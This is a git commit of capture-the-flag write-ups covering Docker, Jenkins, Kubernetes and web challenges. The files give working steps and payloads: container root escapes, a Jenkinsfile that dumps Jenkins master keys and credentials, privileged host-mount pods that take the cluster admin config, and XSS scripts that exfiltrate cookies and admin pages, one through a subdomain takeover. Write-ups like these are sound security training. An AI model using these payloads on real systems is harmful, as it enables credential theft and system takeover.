aboutsummaryrefslogtreecommitdiff
path: root/punkctf
diff options
context:
space:
mode:
authorAria <me@aria.rip>2023-10-01 17:23:09 +0100
committerAria <me@aria.rip>2023-10-01 17:23:09 +0100
commitb5b9cf7a1f61d004d7d53584d029c19302c63ba0 (patch)
tree49c3022dccf669f9f2b905ddfbd2d16db2d10d84 /punkctf
initial commit
Diffstat (limited to 'punkctf')
-rw-r--r--punkctf/docker_01.md6
-rw-r--r--punkctf/docker_02.md4
-rw-r--r--punkctf/docker_03.md12
-rw-r--r--punkctf/gtfobins_02.md8
-rw-r--r--punkctf/jenkins_01.md5
-rw-r--r--punkctf/jenkins_02.md27
-rw-r--r--punkctf/jenkins_03.md24
-rw-r--r--punkctf/k8s_01.md3
-rw-r--r--punkctf/k8s_02.md4
-rw-r--r--punkctf/k8s_03.md39
-rw-r--r--punkctf/k8s_04.md50
-rw-r--r--punkctf/k8s_05.md38
-rw-r--r--punkctf/secrets_5.md7
-rw-r--r--punkctf/web_01.md17
-rw-r--r--punkctf/web_02.md23
-rw-r--r--punkctf/web_03.md15
-rw-r--r--punkctf/web_04.md7
17 files changed, 289 insertions, 0 deletions
diff --git a/punkctf/docker_01.md b/punkctf/docker_01.md
new file mode 100644
index 0000000..33562e8
--- /dev/null
+++ b/punkctf/docker_01.md
@@ -0,0 +1,6 @@
+
+Running `docker images`, we see an image named `challenge` that presumably has our flag.
+
+We have unrestricted access to the docker daemon running as root, so we can simply make ourselves root inside the container and be able to access everything. `docker run -it --rm --user=0 challenge sh`.
+
+`cat /root/FLAG`: `punk_{E1U2R3V59WIUZUJI}`
diff --git a/punkctf/docker_02.md b/punkctf/docker_02.md
new file mode 100644
index 0000000..1314d81
--- /dev/null
+++ b/punkctf/docker_02.md
@@ -0,0 +1,4 @@
+
+If we follow the same steps as before, then we see we have the `challenge` image again, but that instead of the flag `/root/flag` just contains a hash of it.
+
+Going back to the host, we can look at the build steps for the `challenge` image with `docker image history challenge`. We see one of the build steps involves echoing the flag hash in to the file, so we can see the flag in plaintext: `punk_{V70P92VJALOS5KMM}`.
diff --git a/punkctf/docker_03.md b/punkctf/docker_03.md
new file mode 100644
index 0000000..9e7ea7a
--- /dev/null
+++ b/punkctf/docker_03.md
@@ -0,0 +1,12 @@
+
+Similar to the last one, we only have a hash of the flag in `/root/flag`.
+If we look at the build steps with `docker image history --no-trunc challenge`, it is now copying the file, hashing it then removing it.
+
+Docker images consist of many layers in a specific order, where each layer modifies the filesystem in some way. Each build instruction maps to at most one layer. When we add the flag file, a new layer is created with it in it, and even if we remove the flag later, that layer is still part of our image.
+
+To get to it, we save the image as a tar (`docker save challenge > challenge.tar`), then extract it.
+
+Each layer has a folder with a long hash, and a `layer.tar` inside that.
+To quickly search through them all, I used this command:`find -iname '*.tar' -exec sh -c 'echo {}; tar -tf {} | grep FLAG' \;` - this prints out the layer hash, followed by all files inside it containing `FLAG`.
+
+We see only one layer has the `FLAG` file, and once we extract it we can read `opt/flag` to get `punk_{53GAEP9LAWODTO0T}`.
diff --git a/punkctf/gtfobins_02.md b/punkctf/gtfobins_02.md
new file mode 100644
index 0000000..1cf0fcf
--- /dev/null
+++ b/punkctf/gtfobins_02.md
@@ -0,0 +1,8 @@
+
+through basic recon you can find kubectl has suid bit
+
+if you lookup on gtfobins you find you can serve static files with kubectl using `kubectl proxy --address=0.0.0.0 --port=4444 --www=/root/ --www-prefix=/x/`
+
+then just `wget http://localhost:4444/x/` in another tab
+
+`punk_{FUN9BUQ19K8VCDRT}`
diff --git a/punkctf/jenkins_01.md b/punkctf/jenkins_01.md
new file mode 100644
index 0000000..12e9026
--- /dev/null
+++ b/punkctf/jenkins_01.md
@@ -0,0 +1,5 @@
+
+Since we have access to change the pipeline, we can simply remove the hash part to print the flag in plaintext.
+
+Jenkins tries to be smart and censor it in our logs, so to get around this we cut out the `punk_` part of the flag by piping it to `cut -c 5-`.
+With the prefix added back, we get `punk_{64J846I332MEAGL4}`.
diff --git a/punkctf/jenkins_02.md b/punkctf/jenkins_02.md
new file mode 100644
index 0000000..f4270ad
--- /dev/null
+++ b/punkctf/jenkins_02.md
@@ -0,0 +1,27 @@
+
+We can no longer edit the pipeline directly, but we can add stuff to `webpack.config.js` which is executed as a normal JS file, so we can access `$FLAG` with `process.env.flag`
+
+The flag is filtered out again, I went probably overkill and copied a ROT13 function to obscure it:
+
+```js
+function cipherRot13(str) {
+ str = str.toUpperCase();
+ return str.replace(/[A-Z]/g, rot13);
+
+ function rot13(correspondance) {
+ const charCode = correspondance.charCodeAt();
+ //A = 65, Z = 90
+ return String.fromCharCode(
+ ((charCode + 13) <= 90) ? charCode + 13
+ : (charCode + 13) % 90 + 64
+ );
+
+ }
+}
+
+console.log(cipherRot13(process.env.FLAG))
+
+// rest of webpack.config.js
+```
+
+Reversing the ROT13, we get `punk_{7KN3O181O6W1A6XS}`.
diff --git a/punkctf/jenkins_03.md b/punkctf/jenkins_03.md
new file mode 100644
index 0000000..2ebfbe0
--- /dev/null
+++ b/punkctf/jenkins_03.md
@@ -0,0 +1,24 @@
+
+Jenkins doesn't provide any sort of sandboxing, but it tells you your build runs in `/var/jenkins_home/jobs/...`.
+You can modify the `Jenkinsfile` to enumerate `/var/jenkins_home`, using `find` or whatever else.
+
+From this we're able to read all the config files, including the one for secure jobs in `/var/jenkins_home/jobs/secure-jobs/config.xml`.
+The credentials in here are encrypted, but since we're able to read everything Jenkins can, we can find the key. I found [this](https://github.com/hoto/jenkins-credentials-decryptor) tool to do so.
+
+This `Jenkinsfile` gets everything we need for decryption.
+
+```
+pipeline {
+ agent any
+ stages {
+ stage('build') {
+ steps {
+ sh 'cat /var/jenkins_home/jobs/secure-jobs/config.xml'
+ sh 'cat /var/jenkins_home/secrets/master.key'
+ sh 'cat /var/jenkins_home/secrets/hudson.util.Secret | base64'
+ }
+ }
+ }
+}
+```
+Then we simply feed everything into the decryptor to get `punk_{GBI3BZOA3E8USYUH}`.
diff --git a/punkctf/k8s_01.md b/punkctf/k8s_01.md
new file mode 100644
index 0000000..e2e4c55
--- /dev/null
+++ b/punkctf/k8s_01.md
@@ -0,0 +1,3 @@
+There's a secret in the default namespace, which you can list then get with `kubectl get secret -o yaml`.
+
+After base64 decoding it, you get `punk_{Q53O2RDC1W7VTIWY}`
diff --git a/punkctf/k8s_02.md b/punkctf/k8s_02.md
new file mode 100644
index 0000000..328a3b4
--- /dev/null
+++ b/punkctf/k8s_02.md
@@ -0,0 +1,4 @@
+
+You can no longer get the secret directly, but you can still list all secrets. Run `kubectl get secret -o yaml` to list with all the details, and base64 decode as before.
+
+`punk_{L649VD8GELSAF4G4}`
diff --git a/punkctf/k8s_03.md b/punkctf/k8s_03.md
new file mode 100644
index 0000000..6f643be
--- /dev/null
+++ b/punkctf/k8s_03.md
@@ -0,0 +1,39 @@
+
+Using `kubectl auth can-i --list`, we see that we can't access secrets anymore, but we can create deployments.
+
+Looking at the existing pod, we see that it mounts a secret called `y0u-cant-l1st-m3-s3crets-n0w`, but it only outputs the hash and we can't exec into it in this challenge.
+
+We can create a deployment similar to the existing pod, but without the hashing:
+
+```yaml
+apiVersion: apps/v1
+kind: Deployment
+metadata:
+ name: flag-getter
+spec:
+ replicas: 1
+ selector:
+ matchLabels:
+ app: flag-getter
+ template:
+ metadata:
+ labels:
+ app: flag-getter
+ spec:
+ containers:
+ - command:
+ - cat
+ - /flag/flag
+ image: busybox
+ imagePullPolicy: IfNotPresent
+ name: flag-getter
+ volumeMounts:
+ - mountPath: /flag
+ name: flag
+ volumes:
+ - name: flag
+ secret:
+ secretName: y0u-cant-l1st-m3-s3crets-n0w
+```
+
+This will die immediately, but that's fine - just read the pod logs and it will have the flag.
diff --git a/punkctf/k8s_04.md b/punkctf/k8s_04.md
new file mode 100644
index 0000000..3212624
--- /dev/null
+++ b/punkctf/k8s_04.md
@@ -0,0 +1,50 @@
+
+Using `kubectl auth can-i --list` we find we still can't look at secrets directly, but we can create pods now.
+
+These pods don't have any security policy applied, meaning there are plenty of privesc routes we can take, most of them described [here](https://bishopfox.com/blog/kubernetes-pod-privilege-escalation).
+
+Here is the pod i created:
+
+```yaml
+apiVersion: v1
+kind: Pod
+metadata:
+ name: everything-allowed-exec-pod
+ labels:
+ app: pentest
+spec:
+ hostNetwork: true
+ hostPID: true
+ hostIPC: true
+ containers:
+ - name: everything-allowed-pod
+ image: busybox
+ imagePullPolicy: IfNotPresent
+ securityContext:
+ privileged: true
+ volumeMounts:
+ - mountPath: /host
+ name: noderoot
+ command: [ "/bin/sh", "-c", "--" ]
+ args: [ "while true; do sleep 30; done;" ]
+ volumes:
+ - name: noderoot
+ hostPath:
+ path: /
+```
+
+We can then `kubectl exec -it pod/everything-allowed-exec-pod sh` and explore the host filesystem at `/host`.
+
+Looking in `/host/etc/kubernetes/admin.conf` (the standard location for the cluster admin config), we get connection details to login as cluster admin:
+
+```
+users:
+- name: kubernetes-admin
+ user:
+ client-certificate-data: <long base64 string>
+ client-key-data: <long base64 string>
+```
+
+We put this in our terminals `.kube/config`, and use it to enumerate the secrets with `kubectl get secret -A`
+
+We find a secret in the `kube-system` namespace, from which we get the flag `punk_{3WPF4FB37UMJV31D}`
diff --git a/punkctf/k8s_05.md b/punkctf/k8s_05.md
new file mode 100644
index 0000000..a3dcb2c
--- /dev/null
+++ b/punkctf/k8s_05.md
@@ -0,0 +1,38 @@
+
+Using `kubectl auth can-i --list` we find we can only create pods and look at their logs, but not exec into them.
+
+If we try the payload from the previous stage, we also find that there are now pod security policies in effect.
+It mentions we're using the baseline policy, which is described [here](https://kubernetes.io/docs/concepts/security/pod-security-standards/#baseline).
+
+Initially, I created a pod such as below to dump all the secrets being mounted, which included a token for the default service account for the namespace. I was hoping this would have more permissions, but it ended up a dead end.
+
+```yaml
+apiVersion: v1
+kind: Pod
+metadata:
+ name: get-sa-token
+spec:
+ containers:
+ - name: get-sa-token
+ image: busybox
+ imagePullPolicy: IfNotPresent
+ securityContext:
+ runAsUser: 0
+ command: [ "/bin/sh", "-c", "--" ]
+ args: [ "while true; do find /var/run/secrets -exec cat {} \\; ; sleep 30; done;" ]
+```
+
+Inspecting the running container though, we can see the IP of the host that runs it is `10.0.27.88`.
+
+We use the built in `pscan` function of busybox to port scan this IP - we do this because sometimes kubelets are misconfigured to allow anonymous access or similar, so we want to investigate. (the exact arg was `"while true; do pscan -P 10000 10.0.27.88; sleep 30; done;"`).
+
+After trying to access the kubelet and failing, the only other open port other than SSH is port 2375.
+Googling for it, this port usually indicates an unauthenticated docker socket.
+
+Unfortunately we don't have a docker CLI available to interact directly, so we need to use their [API](https://docs.docker.com/engine/api/v1.42/) directly, using wget.
+
+The container we create is equivalent to `docker run -v /:/host --user=0 busybox cat /host/etc/kubernetes/admin.conf`, and we then read the output through the logs endpoint. Unfortunately I lost my exact payloads for this :(.
+
+Once we have this, we list the secrets and print them out as before to get the flag.
+
+I found out later this wasn't actually the intended solution - turns out you have permission to edit the namespace so you can just remove the pod security policy and do the same as k8s 4.
diff --git a/punkctf/secrets_5.md b/punkctf/secrets_5.md
new file mode 100644
index 0000000..d7acc2d
--- /dev/null
+++ b/punkctf/secrets_5.md
@@ -0,0 +1,7 @@
+
+
+the interface we're given shows a bunch of leaked secrets at each commit. running `git log --all`, it seems like they are committing then removing each ssh key.
+
+we search for hostname of the system we're on, then get the ssh key and use it to ssh into root@localhost
+
+`punk_{B2J5I5ZJS5XT6E8J}`
diff --git a/punkctf/web_01.md b/punkctf/web_01.md
new file mode 100644
index 0000000..51747c8
--- /dev/null
+++ b/punkctf/web_01.md
@@ -0,0 +1,17 @@
+
+The comment field is vulnerable to injection, so we just inject a script that makes a comment with the document.cookie variable.
+
+```
+<script>
+let data = new URLSearchParams();
+data.append('name', 'Cookies');
+data.append('comment', document.cookie);
+fetch('/new-comment', {
+ method: 'POST',
+ headers: { "Content-Type": "application/x-www-form-urlencoded" },
+ body: data,
+});
+</script>
+```
+
+Then we set our session ID to the admin's, and go to the admin page. `punk_{QRPMGW20G1XF20IH}`
diff --git a/punkctf/web_02.md b/punkctf/web_02.md
new file mode 100644
index 0000000..a36bb47
--- /dev/null
+++ b/punkctf/web_02.md
@@ -0,0 +1,23 @@
+
+We can still inject script tags into this comments field, but we can't embed scripts into them, because the CSP (Content Security POlicy) only allows us to load scripts from `*.<random-numbers>.ctf.one.dr.punksecurity.cloud`.
+
+Running the command they gave for subdomain takeover scanning we find that `docs.<...>` points to GitHub Pages, so we can set up a simple GitHub pages repo and use their subdomain to host whatever we want. `payload.js`:
+
+```
+fetch('/admin').then(r => r.text()).then(d => {
+ let data = new URLSearchParams();
+ data.append('name', 'admin page');
+ data.append('comment', d);
+ fetch('/new-comment', {
+ method: 'POST',
+ headers: { "Content-Type": "application/x-www-form-urlencoded" },
+ body: data,
+ });
+})
+```
+
+Then our comment just loads this script:
+
+```
+<script src="http://docs.47f325c9-f4c.ctf.one.dr.punksecurity.cloud/payload.js"></script>
+```
diff --git a/punkctf/web_03.md b/punkctf/web_03.md
new file mode 100644
index 0000000..a1d2e1e
--- /dev/null
+++ b/punkctf/web_03.md
@@ -0,0 +1,15 @@
+
+The cookie is HttpOnly now, but we only care about the contents of `/admin`, not the cookie, so we can use the same payload for `Subdomain Takeover - Easy`, but without doing the subdomain takeover.
+
+```
+fetch('/admin').then(r => r.text()).then(d => {
+ let data = new URLSearchParams();
+ data.append('name', 'admin page');
+ data.append('comment', d);
+ fetch('/new-comment', {
+ method: 'POST',
+ headers: { "Content-Type": "application/x-www-form-urlencoded" },
+ body: data,
+ });
+})
+```
diff --git a/punkctf/web_04.md b/punkctf/web_04.md
new file mode 100644
index 0000000..f0cffaa
--- /dev/null
+++ b/punkctf/web_04.md
@@ -0,0 +1,7 @@
+
+Now our input sanitises out script fields, however it still allows us to make images.
+We use the normal technique of putting a bad image url in them, then adding js in the onerror attribute, with the same JS as `XSS - Medium`.
+
+```
+<img src=x onerror="fetch('/admin').then(r => r.text()).then(d => {let data = new URLSearchParams(); data.append('name', 'admin page'); data.append('comment', d); fetch('/new-comment', { method: 'POST', headers: { 'Content-Type': 'application/x-www-form-urlencoded' }, body: data });})">
+```